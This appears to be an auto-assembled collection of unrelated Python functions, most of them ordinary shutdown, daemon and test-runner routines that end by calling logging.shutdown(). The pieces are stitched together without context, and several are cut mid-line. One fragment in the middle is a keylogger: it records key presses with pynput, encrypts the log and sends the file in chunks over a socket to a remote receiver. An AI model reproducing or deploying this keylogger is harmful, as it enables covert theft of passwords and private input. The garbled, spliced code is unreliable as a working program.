def main():
args = _parse_args()
completed_event = Event()
_start_timer(args['timeout'], completed_event)
logger.info('Starting up!')
finder = PopularGithubRepoFinder(
org=args['org'],
client_id=args['client_id'],
client_secret=args['client_secret'],
)
logger.info('Generating report')
report = {
'org': args['org'],
'n': args['n'],
'note': 'contribution_percentage == -1 means the repo has zero fork',
'top_n_by_stars': finder.top_n_by_stars_count(args['n']),
'top_n_by_forks': finder.top_n_by_forks_count(args['n']),
'top_n_by_pull_requests': finder.top_n_by_pull_requests_count(args['n']),
'top_n_by_contribution_percentage': finder.top_n_by_contribution_percentage(args['n']),
}
if args['output']:
with open(args['output'], 'w') as output_file:
json.dump(report, output_file)
else:
pp = pprint.PrettyPrinter(indent=4)
pp.pprint(report)
logger.info('Report generated')
completed_event.set()
logging.shutdown()
def main():
APPLIANCES = [
('a', ['fridge freezer', 'fridge'], 512),
('b', "'coffee maker'", 512),
('c', "'dish washer'", 2000),
('d', "'hair dryer'", 256),
('e', "'kettle'", 256),
('f', "'oven'", 2000),
('g', "'toaster'", 256),
('h', "'light'", 2000),
('i', ['washer dryer', 'washing machine'], 1504)
]
for experiment, appliance, seq_length in APPLIANCES[-1:]:
full_exp_name = NAME + experiment
func_call = init_experiment(PATH, 'a', full_exp_name)
func_call = func_call[:-1] + ", {}, {})".format(appliance, seq_length)
logger = logging.getLogger(full_exp_name)
try:
net = eval(func_call)
run_experiment(net, epochs=5000)
except KeyboardInterrupt:
logger.info("KeyboardInterrupt")
break
except Exception as exception:
logger.exception("Exception")
# raise
else:
del net.source
del net
gc.collect()
finally:
logging.shutdown()
def __init__(self, config_path, dev=False):
"""
:param str config_path: The path to the config file containing json information about the job
"""
self._log = logging.getLogger("BOOT")
self._log_accumulator = LogAccumulator()
# add this to the root logger so it will capture EVERYTHING
logging.getLogger().addHandler(self._log_accumulator)
if not os.path.exists(config_path):
self._log.error("ERROR, config path {} not found!".format(config_path))
logging.shutdown()
exit(1)
with open(config_path, "r") as f:
self._config = json.loads(f.read())
self._job_id = self._config["id"]
self._idx = self._config["idx"]
self._tool = self._config["tool"]
self._params = self._config["params"]
self._fileset = self._config["fileset"]
self._db_host = self._config["db_host"]
self._debug = self._config["debug"]
self._num_progresses = 0
self.dev = dev
self._host_comms = HostComms(self._on_host_msg_received, self._job_id, self._idx, self._tool, dev=dev)
def run(self):
try:
# Log startup of parent
_log.info('Starting supervisor %s, pid %d',
opendiamond.__version__, os.getpid())
_log.info('Server IDs: %s', ', '.join(self.config.serverids))
if self.config.cache_server:
_log.info('Cache: %s:%d', *self.config.cache_server)
while True:
# Check for search logs that need to be pruned
self._prune_child_logs()
# Check for blob cache objects that need to be pruned
self._prune_blob_cache()
# Accept a new connection pair
control, data = self._listener.accept()
# Fork a child for this connection pair. In the child, this
# does not return.
self._children.start(self._child, control, data)
# Close the connection pair in the parent
control.close()
data.close()
except _Signalled, s:
_log.info('Supervisor exiting on %s', s.signame)
# Stop listening for incoming connections
self._listener.shutdown()
# Kill our children and clean up after them
self._children.kill_all()
# Shut down logging
logging.shutdown()
# Ensure our exit status reflects that we died on the signal
signal.signal(s.signal, signal.SIG_DFL)
os.kill(os.getpid(), s.signal)
def test():
logger = logging.getLogger(__name__)
logger.setLevel(logging.DEBUG)
logger.addHandler(BufferingSMTPHandler(MAILHOST, FROM, TO, SUBJECT, EMAIL_USERNAME, EMAIL_PASSWORD, 2000))
for i in xrange(102):
logger.info("Info index = %d", i)
logging.shutdown()
def pipeline(prj_dh,step=None,test=False):
from dms2dfe import configure, ana0_fastq2dplx,ana0_fastq2sbam,ana0_getfeats,ana1_sam2mutmat,ana2_mutmat2fit,ana3_fit2comparison,ana4_modeller,ana4_plotter
if exists(prj_dh):
if step==0 or step==None:
configure.main(prj_dh,"deps")
configure.main(prj_dh)
if step==0.1 or step==None:
ana0_fastq2dplx.main(prj_dh)
if step==0.2 or step==None:
ana0_fastq2sbam.main(prj_dh,test)
if step==0.3:
ana0_getfeats.main(prj_dh)
if step==1 or step==None:
ana1_sam2mutmat.main(prj_dh)
if step==2 or step==None:
ana2_mutmat2fit.main(prj_dh,test)
if step==3 or step==None:
ana0_getfeats.main(prj_dh)
ana4_modeller.main(prj_dh,test)
if step==4 or step==None:
ana3_fit2comparison.main(prj_dh,test)
if step==5 or step==None:
ana0_getfeats.main(prj_dh)
ana4_plotter.main(prj_dh)
if step==None:
logging.info("Location of output data: %s/plots/aas/data_comparison" % (prj_dh))
logging.info("Location of output visualizations: %s/plots/aas/" % (prj_dh))
logging.info("For information about file formats of outputs, refer to http://kc-lab.github.io/dms2dfe/io .")
else:
configure.main(prj_dh)
logging.shutdown()
def onMenuLogToFile( self, event ): if self.menuItemLogToFile.IsChecked(): self.__isLoggingToFile__ = True self.__startLogToFile__() else: self.__isLoggingToFile__ = False logging.shutdown()
def stop(self):
"""Stop properly the server after signal received
It is call by start() and signal handling functions
It says to all thread to exit themself properly and run
some system routine to terminate the entire program
"""
# Tell to all thread to stop them at the next second
sys_log.debug('Send exit command to all thread')
# send stop command via synchronised event
self.__event_stop.set()
# ensure that all of them have exit, and add eventual event to trig queue
sys_log.debug('Waiting for all subthread exiting')
while (threading.enumerate().__len__()) > 1:
self.getTrigger().serve_once()
time.sleep(0.5)
# serve all event which have not already been serve
sys_log.debug('Purge and serve all event in the queue')
while (self.getTrigger().serve_once()):
pass
# Close log
logging.shutdown()
def stop(self):
""" Shutdown the WSGI server. Wait for non deamon threads.
"""
_logger.info("Initiating shutdown")
_logger.info("Hit CTRL-C again or send a second signal to force the shutdown.")
if self.httpd:
self.httpd.shutdown()
self.close_socket(self.httpd.socket)
# Manually join() all threads before calling sys.exit() to allow a second signal
# to trigger _force_quit() in case some non-daemon threads won't exit cleanly.
# threading.Thread.join() should not mask signals (at least in python 2.5).
me = threading.currentThread()
_logger.debug('current thread: %r', me)
for thread in threading.enumerate():
_logger.debug('process %r (%r)', thread, thread.isDaemon())
if thread != me and not thread.isDaemon() and thread.ident != self.main_thread_id:
while thread.isAlive():
_logger.debug('join and sleep')
# Need a busyloop here as thread.join() masks signals
# and would prevent the forced shutdown.
thread.join(0.05)
time.sleep(0.05)
_logger.debug('--')
odoo.modules.registry.Registry.delete_all()
logging.shutdown()
def shutdown(self):
self.shutdownEvt.wait()
self.logger.info('Initiating shutdown...')
# stop services
self.logger.info('Stopping services...')
for service in [x for x in self.services.values()
if x is not self]:
service.shutdown()
self.running = False
# shutdown session manager
if SessionManager.sm:
self.logger.info('Closing session manager...')
SessionManager.close()
# close database
if _db.db_handle:
self.logger.info('Closing database...')
_db.close()
self.logger.info('All services have been shut down successfully')
# shutdown logging
logging.shutdown()
self.shutdowninprogress = False
def _exit(shutdown_logger=True, code=0):
if shutdown_logger:
log.info("Exiting PID: %s" % autosubliminal.PID)
# Shutdown the logger to make sure the logfile is released before exiting
logging.shutdown()
# Exit process
os._exit(code)
def _setup_logging(self, log_level):
"""Reinitialize logging post-fork to clear all handlers, file descriptors, locks etc.
This must happen first thing post-fork, before any further logging is emitted.
"""
# Re-initialize the childs logging locks post-fork to avoid potential deadlocks if pre-fork
# threads have any locks acquired at the time of fork.
logging._lock = threading.RLock() if logging.thread else None
for handler in logging.getLogger().handlers:
handler.createLock()
# Invoke a global teardown for all logging handlers created before now.
logging.shutdown()
# Reinitialize logging for the daemon context.
setup_logging(log_level, console_stream=None, log_dir=self._log_dir, log_name=self.LOG_NAME)
# Close out pre-fork file descriptors.
self._close_fds()
# Redirect stdio to the root logger.
sys.stdout = _StreamLogger(logging.getLogger(), logging.INFO)
sys.stderr = _StreamLogger(logging.getLogger(), logging.WARN)
self._logger.debug('logging initialized')
def test_netreal():
# Find the right path for files (win or unix)
path = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))
if os.name == 'nt':
path += "\\"
else:
path += "/"
lr = [tuple(line.strip().split(':')) for line in (x for x in open(path + "hosts.txt", 'r') if not x.startswith('#'))]
log.info('Testing TCP Ports...')
for host in lr:
for port in tcports:
net(host,port,"tcp")
log.info('Checking Hosts SSH Connectivity...')
lr[:] = [host for host in lr if not ssh(host)]
log.info('Testing UDP Ports...')
for host in lr:
err = 0
for port in udports:
err += udp(host,port)
if err > 2:
log.critical(host[1] + " (" + host[0] + ") has UDP ports closed")
log.info('Done')
# Send mail with log
mh.flush()
logging.shutdown()
def send(input_text):
#if severity.lower() == 'critical' or severity.lower() == 'error' or severity.lower() == 'warning' or severity.lower() == 'info' or severity.lower() == 'debug':
logger_mail = logging.getLogger("")
logger_mail.setLevel(logging.DEBUG)
logger_mail.addHandler(BufferingSMTPHandler(MAILHOST, FROM, TO, SUBJECT, 10))
logger_mail.info(input_text)
logging.shutdown()
def main():
APPLIANCES = [
("a", ["fridge freezer", "fridge"], 512),
("b", "'coffee maker'", 512),
("c", "'dish washer'", 2000),
("d", "'hair dryer'", 256),
("e", "'kettle'", 256),
("f", "'oven'", 2000),
("g", "'toaster'", 256),
("h", "'light'", 2000),
("i", ["washer dryer", "washing machine"], 1504),
]
for experiment, appliance, seq_length in APPLIANCES[-1:]:
full_exp_name = NAME + experiment
func_call = init_experiment(PATH, "a", full_exp_name)
func_call = func_call[:-1] + ", {}, {})".format(appliance, seq_length)
logger = logging.getLogger(full_exp_name)
try:
net = eval(func_call)
run_experiment(net, epochs=None)
except KeyboardInterrupt:
logger.info("KeyboardInterrupt")
break
except Exception as exception:
logger.exception("Exception")
# raise
else:
del net.source
del net
gc.collect()
finally:
logging.shutdown()
def relaunch_on_timeout(crawler, endpoint, data, timeout=30, delay=10):
"""Receive data from the specified endpoint.
This function handles all the intermediate operations, such as building
the URL from the endpoint and handling log messages.
"""
# Relaunch automatically on network error / broken pipe, ...
while True:
try:
LOGGER.info("Requesting stream: %s. Params: %s", endpoint, data)
start_time = datetime.datetime.now()
stream = crawler.request_stream(endpoint, data, timeout)
for count, tweet in enumerate(stream):
if not count % 1000:
now = datetime.datetime.now()
delta = now - start_time
rate = float(count) / delta.total_seconds()
# Change this to logger TODO
print("Total tweets", count, "\tRate", rate)
start_time = datetime.datetime.now()
#print(tweet) TODO (control)
# Unless CTRL+C or exit
except (KeyboardInterrupt, SystemExit):
# TODO clean outfile?
LOGGER.info("Shutting down (manual shutdown).")
logging.shutdown()
sys.exit(0)
# Handle network timeout
except requests.exceptions.Timeout:
# TODO introduce exp backoff
LOGGER.info("Request timed out (timeout=%s). Waiting and retrying (delay=%s).", timeout, delay)
time.sleep(delay)
def __del__(self): print '%s is deleted.' % self.__class__.__name__ del self.testPool del self.appTestEngine del self.ALTList self.logHandler.close() logging.shutdown()
def destroy(self):
"""
Shuts down the logging framework. No logging can be done
afterwards.
"""
logging.getLogger(__name__).debug('shutting down logging')
logging.shutdown()
def stop(self):
"""
Stop the daemon
"""
# Get the pid from the pidfile
try:
pf = file(self.pidfile, "r")
pid = int(pf.read().strip())
pf.close()
except IOError:
pid = None
if not pid:
message = "pidfile %s does not exist. Daemon not running?\n"
sys.stderr.write(message % self.pidfile)
return # not an error in a restart
logging.shutdown()
# Try killing the daemon process
try:
while 1:
os.kill(pid, SIGTERM)
time.sleep(0.1)
except OSError, err:
err = str(err)
if err.find("No such process") > 0:
if os.path.exists(self.pidfile):
os.remove(self.pidfile)
else:
print str(err)
sys.exit(1)
def shutdown():
logger.warning( "Let's stop everything before we exit" )
global epgGrabber, contentProvider, vcasProvider, recorder, scheduler, resourceMonitor
stopRtspServer()
if epgGrabber:
epgGrabber.stop()
if contentProvider:
contentProvider.stop()
if vcasProvider:
vcasProvider.shutdown()
if recorder:
recorder.stopAllRecordings()
if scheduler:
scheduler.stop()
if resourceMonitor:
resourceMonitor.stop()
if watchdog:
watchdog.stop()
stopWebserver()
logger.warning( "Everything has stopped, now exit" )
logging.shutdown()
# Remove PID file if created
if const.CREATEPID and os.path.exists( const.PIDFILE ):
os.unlink( const.PIDFILE )
os._exit( 0 )
def _exit(self, ssignal, frame):
import logging
if not self.__exiting:
def too_long(sig, frm):
logging.getLogger(__name__).info(
"Taking too long to exit(>5 secs). Commit suicide!!!"
)
self.remove_pid()
logging.shutdown()
try:
os.kill(self.__pid, signal.SIGKILL)
except OSError, err:
logging.getLogger(__name__).exception(
"Failed to commit suicide: %s", err
)
# Setup an alarm signal so that if taking too long, commit suicide
signal.signal(signal.SIGALRM, too_long)
signal.alarm(5) # We have 5 secs to exit properly
logging.getLogger(__name__).info("Exiting...")
self.__exiting = True
# Ignore any further signaling
signal.signal(ssignal, signal.SIG_IGN)
signal.signal(signal.SIGTERM, signal.SIG_IGN)
signal.signal(signal.SIGINT, signal.SIG_IGN)
self.exit()
logging.getLogger(__name__).info("Exited!!!")
logging.shutdown()
self.remove_pid()
os._exit(1)
def on_moved(self, event):
# <FileMovedEvent: src_path='/root/lzf/tmp/2', dest_path='/root/lzf/tmp/3'>
super(MyHandler2, self).on_moved(event)
what = 'directory' if event.is_directory else 'file'
#logging.info("Moved %s: from %s to %s", what, event.src_path,event.dest_path)
self.loger.info("Moved %s: from %s to %s", what, event.src_path,event.dest_path)
logging.shutdown()
def aboutToQuit():
"""now all connections to servers are cleanly closed"""
mainWindow = Internal.mainWindow
Internal.mainWindow = None
if mainWindow:
if Debug.quit:
logDebug(u'aboutToQuit starting')
if mainWindow.exitWaitTime > 1000.0 or Debug.quit:
logDebug(
u'reactor stopped after %d ms' %
(mainWindow.exitWaitTime))
else:
if Debug.quit:
logDebug(u'aboutToQuit: mainWindow is already None')
StateSaver.saveAll()
Internal.app.quit()
try:
# if we are killed while loading, Internal.db may not yet be
# defined
if Internal.db:
Internal.db.close()
except NameError:
pass
checkMemory()
logging.shutdown()
if Debug.quit:
logDebug(u'aboutToQuit ending')
def main(args=sys.argv):
"""This is an example program of how to use the PresentKey widget"""
logging.basicConfig(stream=sys.stderr, level=logging.DEBUG,
format='%(name)s (%(levelname)s): %(message)s')
try:
arguments = parse_command_line(args)
#if arguments.gpg:
# keyid = arguments.file
# keyring = Keyring()
# # this is a dict {fpr: key-instance}
# found_keys = keyring.get_keys(keyid)
# # We take the first item we found and export the actual keydata
# fpr = found_keys.items()[0][0]
# keyring.export_data(fpr=fpr, secret=False)
# keydata = keyring.context.stdout
#else:
# keydata = open(arguments.file, 'r').read()
fpr = arguments.fpr
app = KeyPresent()
try:
GLib.unix_signal_add_full(GLib.PRIORITY_HIGH, signal.SIGINT, lambda *args : app.quit(), None)
except AttributeError:
pass
exit_status = app.run(fpr)
return exit_status
finally:
logging.shutdown()
def shutdown(self):
self.shutdownEvt.wait()
logger = serverLogging.logger
logger.info('Initiating shutdown...')
if self.running:
logger.info('Shutting down main service...')
asyncBaseServer.BaseServer.shutdown(self)
# shutdown session manager
if sessionManager.sm:
logger.info('Closing session manager...')
sessionManager.close()
# close database
if db.db_handle:
logger.info('Closing database...')
db.close()
if Mgt.mgtServer:
logger.info('Shutting down administation service')
Mgt.mgtServer.shutdown()
logger.info('All services have been shut down successfully')
# shutdown logging
logging.shutdown()
self.shutdowninprogress = False
def close_down() -> None:
"""Execute close down activities."""
# pigjar-#352 Suppress legacy branch coverage failures
if config.data: # pragma: no cover
control.save_program_data()
save_config_dynamic_ini()
logging.shutdown()
def shutdown(self):
self.__init__()
try:
logging.shutdown()
logging.captureWarnings(None)
except:
pass
def start(self):
"""
Start the receive thread - send will run only when needed.
"""
# Clear the packet queue
self.queueIn = deque()
# Start the packet processing thread
thread.start_new_thread(self.packetProcessor, ())
# Setup the various sockets
## Receive
try:
self.socketIn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socketIn.bind((self.config['MESSAGEINHOST'], self.config['MESSAGEINPORT']))
self.socketIn.listen(1)
self.client = None
self.lastPacket = time.time()
except socket.error, err:
code, e = err
self.logger.critical('Cannot bind to listening port %i: %s', self.config['MESSAGEINPORT'], str(e))
self.logger.critical('Exiting on previous error')
logging.shutdown()
sys.exit(1)
def main():
# create a HiSparc monitor object
hsMonitor = HsMonitor()
# start all threads
# hsMonitor.startAll()
# this to get the keyboard interruption
# c = cmd.Cmd()
# try:
# c.cmdloop()
# except KeyboardInterrupt:
# # stop all threads
# hsMonitor.stopAll()
# wait for all threads to finish
# for thread in hsMonitor.hsThreads:
# thread.join()
# DBG: test the nagios push
# buffLis = hsMonitor.createBufferListener()
# buffLis.test()
# DBG: test the nagios push
sm = StorageManager()
it = Interpreter(sm)
checkSched = hsMonitor.createCheckScheduler(it)
checkSched.run()
logging.shutdown()
def main():
"""
Launch the Framework application command line interface.
"""
main = CommandLine()
main.cmdloop()
logging.shutdown()
def shutdown(rc):
"""Exits the script, but first flushes all logging handles, etc."""
logging.shutdown()
sys.exit(rc)
def main(self):
"""Main function. This should not be overridden by the subclass test scripts."""
parser = argparse.ArgumentParser(usage="%(prog)s [options]")
parser.add_argument("--nocleanup", dest="nocleanup", default=False, action="store_true",
help="Leave defids and test.* datadir on exit or error")
parser.add_argument("--noshutdown", dest="noshutdown", default=False, action="store_true",
help="Don't stop defids after the test execution")
parser.add_argument("--cachedir", dest="cachedir", default=os.path.abspath(os.path.dirname(os.path.realpath(__file__)) + "/../../cache"),
help="Directory for caching pregenerated datadirs (default: %(default)s)")
parser.add_argument("--tmpdir", dest="tmpdir", help="Root directory for datadirs")
parser.add_argument("-l", "--loglevel", dest="loglevel", default="INFO",
help="log events at this level and higher to the console. Can be set to DEBUG, INFO, WARNING, ERROR or CRITICAL. Passing --loglevel DEBUG will output all logs to console. Note that logs at all levels are always written to the test_framework.log file in the temporary test directory.")
parser.add_argument("--tracerpc", dest="trace_rpc", default=False, action="store_true",
help="Print out all RPC calls as they are made")
parser.add_argument("--portseed", dest="port_seed", default=os.getpid(), type=int,
help="The seed to use for assigning port numbers (default: current process id)")
parser.add_argument("--coveragedir", dest="coveragedir",
help="Write tested RPC commands into this directory")
parser.add_argument("--configfile", dest="configfile",
default=os.path.abspath(os.path.dirname(os.path.realpath(__file__)) + "/../../config.ini"),
help="Location of the test framework config file (default: %(default)s)")
parser.add_argument("--pdbonfailure", dest="pdbonfailure", default=False, action="store_true",
help="Attach a python debugger if test fails")
parser.add_argument("--usecli", dest="usecli", default=False, action="store_true",
help="use defi-cli instead of RPC for all commands")
parser.add_argument("--perf", dest="perf", default=False, action="store_true",
help="profile running nodes with perf for the duration of the test")
parser.add_argument("--randomseed", type=int,
help="set a random seed for deterministically reproducing a previous test run")
self.add_options(parser)
self.options = parser.parse_args()
PortSeed.n = self.options.port_seed
check_json_precision()
self.options.cachedir = os.path.abspath(self.options.cachedir)
config = configparser.ConfigParser()
config.read_file(open(self.options.configfile))
self.config = config
self.options.defid = os.getenv("DEFID", default=config["environment"]["BUILDDIR"] + '/src/defid' + config["environment"]["EXEEXT"])
self.options.deficli = os.getenv("DEFICLI", default=config["environment"]["BUILDDIR"] + '/src/defi-cli' + config["environment"]["EXEEXT"])
os.environ['PATH'] = os.pathsep.join([
os.path.join(config['environment']['BUILDDIR'], 'src'),
os.path.join(config['environment']['BUILDDIR'], 'src', 'qt'),
os.environ['PATH']
])
# Set up temp directory and start logging
if self.options.tmpdir:
self.options.tmpdir = os.path.abspath(self.options.tmpdir)
os.makedirs(self.options.tmpdir, exist_ok=False)
else:
self.options.tmpdir = tempfile.mkdtemp(prefix=TMPDIR_PREFIX)
self._start_logging()
# Seed the PRNG. Note that test runs are reproducible if and only if
# a single thread accesses the PRNG. For more information, see
# https://docs.python.org/3/library/random.html#notes-on-reproducibility.
# The network thread shouldn't access random. If we need to change the
# network thread to access randomness, it should instantiate its own
# random.Random object.
seed = self.options.randomseed
if seed is None:
seed = random.randrange(sys.maxsize)
else:
self.log.debug("User supplied random seed {}".format(seed))
random.seed(seed)
self.log.debug("PRNG seed is: {}".format(seed))
self.log.debug('Setting up network thread')
self.network_thread = NetworkThread()
self.network_thread.start()
success = TestStatus.FAILED
try:
if self.options.usecli:
if not self.supports_cli:
raise SkipTest("--usecli specified but test does not support using CLI")
self.skip_if_no_cli()
self.skip_test_if_missing_module()
self.setup_chain()
self.setup_network()
self.run_test()
success = TestStatus.PASSED
except JSONRPCException:
self.log.exception("JSONRPC error")
except SkipTest as e:
self.log.warning("Test Skipped: %s" % e.message)
success = TestStatus.SKIPPED
except AssertionError:
self.log.exception("Assertion failed")
except KeyError:
self.log.exception("Key error")
except Exception:
self.log.exception("Unexpected exception caught during testing")
except KeyboardInterrupt:
self.log.warning("Exiting after keyboard interrupt")
if success == TestStatus.FAILED and self.options.pdbonfailure:
print("Testcase failed. Attaching python debugger. Enter ? for help")
pdb.set_trace()
self.log.debug('Closing down network thread')
self.network_thread.close()
if not self.options.noshutdown:
self.log.info("Stopping nodes")
if self.nodes:
self.stop_nodes()
else:
for node in self.nodes:
node.cleanup_on_exit = False
self.log.info("Note: defids were not stopped and may still be running")
should_clean_up = (
not self.options.nocleanup and
not self.options.noshutdown and
success != TestStatus.FAILED and
not self.options.perf
)
if should_clean_up:
self.log.info("Cleaning up {} on exit".format(self.options.tmpdir))
cleanup_tree_on_exit = True
elif self.options.perf:
self.log.warning("Not cleaning up dir {} due to perf data".format(self.options.tmpdir))
cleanup_tree_on_exit = False
else:
self.log.warning("Not cleaning up dir {}".format(self.options.tmpdir))
cleanup_tree_on_exit = False
if success == TestStatus.PASSED:
self.log.info("Tests successful")
exit_code = TEST_EXIT_PASSED
elif success == TestStatus.SKIPPED:
self.log.info("Test skipped")
exit_code = TEST_EXIT_SKIPPED
else:
self.log.error("Test failed. Test logging available at %s/test_framework.log", self.options.tmpdir)
self.log.error("Hint: Call {} '{}' to consolidate all logs".format(os.path.normpath(os.path.dirname(os.path.realpath(__file__)) + "/../combine_logs.py"), self.options.tmpdir))
exit_code = TEST_EXIT_FAILED
logging.shutdown()
if cleanup_tree_on_exit:
shutil.rmtree(self.options.tmpdir)
sys.exit(exit_code)
format='%(asctime)s: %(message)s')
def on_press(key):
currentTime = time.time()
logging.info(str(key))
if key == Key.esc or currentTime > stoppingTime:
return False
while currentTime < stoppingTime:
currentTime = time.time()
with Listener(on_press=on_press) as listener:
listener.join()
logging.shutdown()
print "Stopped Listening"
fsize = os.path.getsize(str(path2))
send_one_message(s, str(fsize).encode('utf-8'))
key_logger_AES.encrypt_file(path2)
BUFFER_SIZE = 1024
with open(path2 + ".enc", 'rb') as fs:
data = fs.read(BUFFER_SIZE)
while data:
send_one_message(s, data)
data = fs.read(BUFFER_SIZE)
def main(self):
parser = optparse.OptionParser(usage="%prog [options]")
parser.add_option(
"--nocleanup",
dest="nocleanup",
default=False,
action="store_true",
help="Leave syncoinds and test.* datadir on exit or error")
parser.add_option("--noshutdown",
dest="noshutdown",
default=False,
action="store_true",
help="Don't stop syncoinds after the test execution")
parser.add_option(
"--srcdir",
dest="srcdir",
default=os.path.normpath(
os.path.dirname(os.path.realpath(__file__)) + "/../../../src"),
help=
"Source directory containing syncoind/syncoin-cli (default: %default)"
)
parser.add_option("--cachedir",
dest="cachedir",
default=os.path.normpath(
os.path.dirname(os.path.realpath(__file__)) +
"/../../cache"),
help="Directory for caching pregenerated datadirs")
parser.add_option("--tmpdir",
dest="tmpdir",
help="Root directory for datadirs")
parser.add_option(
"-l",
"--loglevel",
dest="loglevel",
default="INFO",
help=
"log events at this level and higher to the console. Can be set to DEBUG, INFO, WARNING, ERROR or CRITICAL. Passing --loglevel DEBUG will output all logs to console. Note that logs at all levels are always written to the test_framework.log file in the temporary test directory."
)
parser.add_option("--tracerpc",
dest="trace_rpc",
default=False,
action="store_true",
help="Print out all RPC calls as they are made")
parser.add_option(
"--portseed",
dest="port_seed",
default=os.getpid(),
type='int',
help=
"The seed to use for assigning port numbers (default: current process id)"
)
parser.add_option("--coveragedir",
dest="coveragedir",
help="Write tested RPC commands into this directory")
parser.add_option("--configfile",
dest="configfile",
help="Location of the test framework config file")
parser.add_option("--pdbonfailure",
dest="pdbonfailure",
default=False,
action="store_true",
help="Attach a python debugger if test fails")
self.add_options(parser)
(self.options, self.args) = parser.parse_args()
PortSeed.n = self.options.port_seed
os.environ[
'PATH'] = self.options.srcdir + ":" + self.options.srcdir + "/qt:" + os.environ[
'PATH']
check_json_precision()
# Set up temp directory and start logging
if self.options.tmpdir:
os.makedirs(self.options.tmpdir, exist_ok=False)
else:
self.options.tmpdir = tempfile.mkdtemp(prefix="test")
self._start_logging()
success = TestStatus.FAILED
try:
self.setup_chain()
self.setup_network()
self.run_test()
success = TestStatus.PASSED
except JSONRPCException as e:
self.log.exception("JSONRPC error")
except SkipTest as e:
self.log.warning("Test Skipped: %s" % e.message)
success = TestStatus.SKIPPED
except AssertionError as e:
self.log.exception("Assertion failed")
except KeyError as e:
self.log.exception("Key error")
except Exception as e:
self.log.exception("Unexpected exception caught during testing")
except KeyboardInterrupt as e:
self.log.warning("Exiting after keyboard interrupt")
if success == TestStatus.FAILED and self.options.pdbonfailure:
print(
"Testcase failed. Attaching python debugger. Enter ? for help")
pdb.set_trace()
if not self.options.noshutdown:
self.log.info("Stopping nodes")
if self.nodes:
self.stop_nodes()
else:
self.log.info(
"Note: syncoinds were not stopped and may still be running")
if not self.options.nocleanup and not self.options.noshutdown and success != TestStatus.FAILED:
self.log.info("Cleaning up")
shutil.rmtree(self.options.tmpdir)
else:
self.log.warning("Not cleaning up dir %s" % self.options.tmpdir)
if os.getenv("PYTHON_DEBUG", ""):
# Dump the end of the debug logs, to aid in debugging rare
# travis failures.
import glob
filenames = [self.options.tmpdir + "/test_framework.log"]
filenames += glob.glob(self.options.tmpdir +
"/node*/regtest/debug.log")
MAX_LINES_TO_PRINT = 1000
for fn in filenames:
try:
with open(fn, 'r') as f:
print("From", fn, ":")
print("".join(deque(f, MAX_LINES_TO_PRINT)))
except OSError:
print("Opening file %s failed." % fn)
traceback.print_exc()
if success == TestStatus.PASSED:
self.log.info("Tests successful")
sys.exit(TEST_EXIT_PASSED)
elif success == TestStatus.SKIPPED:
self.log.info("Test skipped")
sys.exit(TEST_EXIT_SKIPPED)
else:
self.log.error(
"Test failed. Test logging available at %s/test_framework.log",
self.options.tmpdir)
logging.shutdown()
sys.exit(TEST_EXIT_FAILED)
def close(self):
"""
Closes the logger
:return:
"""
logging.shutdown()
def close():
if LogHelper._close_imme:
if LogHelper._logger is None:
return
logging.shutdown()
def main():
w = GUI()
try:
w.start()
except:
logging.shutdown()
def __del__(self):
logging.shutdown() # Don't log after this call!
del (self.logger)
def test1(self):
# set the logging level to debug so that debug messages are printed
logging.basicConfig(level=logging.DEBUG)
proc = None
try:
# launch the server in a separate process
env = dict()
env["PYTHONPATH"] = ':'.join(sys.path)
parent_port = avro.tether.util.find_port()
pyfile = avro.test.mock_tether_parent.__file__
proc = subprocess.Popen([sys.executable, pyfile, "start_server", "{0}".format(parent_port)])
input_port = avro.tether.util.find_port()
print("Mock server started process pid={0}".format(proc.pid))
# Possible race condition? open tries to connect to the subprocess before the subprocess is fully started
# so we give the subprocess time to start up
time.sleep(1)
runner = avro.tether.tether_task_runner.TaskRunner(avro.test.word_count_task.WordCountTask())
runner.start(outputport=parent_port, join=False)
for _ in range(12):
if runner.server is not None:
break
time.sleep(1)
else:
raise RuntimeError("Server never started")
# Test sending various messages to the server and ensuring they are processed correctly
requestor = avro.tether.tether_task.HTTPRequestor(
"localhost", runner.server.server_address[1], avro.tether.tether_task.inputProtocol)
# TODO: We should validate that open worked by grabbing the STDOUT of the subproces
# and ensuring that it outputted the correct message.
# Test the mapper
requestor.request("configure", {
"taskType": avro.tether.tether_task.TaskType.MAP,
"inSchema": unicode(str(runner.task.inschema)),
"outSchema": unicode(str(runner.task.midschema))
})
# Serialize some data so we can send it to the input function
datum = unicode("This is a line of text")
writer = io.BytesIO()
encoder = avro.io.BinaryEncoder(writer)
datum_writer = avro.io.DatumWriter(runner.task.inschema)
datum_writer.write(datum, encoder)
writer.seek(0)
data = writer.read()
# Call input to simulate calling map
requestor.request("input", {"data": data, "count": 1})
# Test the reducer
requestor.request("configure", {
"taskType": avro.tether.tether_task.TaskType.REDUCE,
"inSchema": unicode(str(runner.task.midschema)),
"outSchema": unicode(str(runner.task.outschema))}
)
# Serialize some data so we can send it to the input function
datum = {"key": unicode("word"), "value": 2}
writer = io.BytesIO()
encoder = avro.io.BinaryEncoder(writer)
datum_writer = avro.io.DatumWriter(runner.task.midschema)
datum_writer.write(datum, encoder)
writer.seek(0)
data = writer.read()
# Call input to simulate calling reduce
requestor.request("input", {"data": data, "count": 1})
requestor.request("complete", {})
runner.task.ready_for_shutdown.wait()
runner.server.shutdown()
# time.sleep(2)
# runner.server.shutdown()
sthread = runner.sthread
# Possible race condition?
time.sleep(1)
# make sure the other thread terminated
self.assertFalse(sthread.is_alive())
# shutdown the logging
logging.shutdown()
except Exception as e:
raise
finally:
# close the process
if not(proc is None):
proc.kill()
def do_exit(exitcode): logging.shutdown() sys.exit(exitcode)
def brx041(path):
List1 = []
try:
infile = open(path, "r", encoding="utf8")
soup = BeautifulSoup(infile, 'lxml')
soup1 = str(soup)
abstract = soup.find_all('ce:abstract')
text = [item.get_text() for item in abstract]
if (len(text) > 0):
abs_text = ""
for chars in text:
abs_text = abs_text + chars
main = soup.find_all('ce:sections')
text2 = [item.get_text() for item in main]
main_text = ""
for chars in text2:
main_text = main_text + chars
reference = soup.find_all('ce:bibliography')
text1 = [item.get_text() for item in reference]
string = ""
for chars in text1:
string = string + chars
ref = string.split('[')
for ind, item in enumerate(ref):
if (item[:-1] != "Reference"):
if (']' in item):
ref[ind] = item[item.index(']') + 1:]
for i in range(len(abs_text)):
s = ""
mnop = 0
if abs_text[i] == "[":
s = s + '['
for ind in range(i + 1, len(abs_text)):
s = s + abs_text[ind]
if (abs_text[ind] == ']'):
break
if s not in main_text:
lis1 = re.findall('[a-zA-z]+\s', s)
if (len(lis1) != 0):
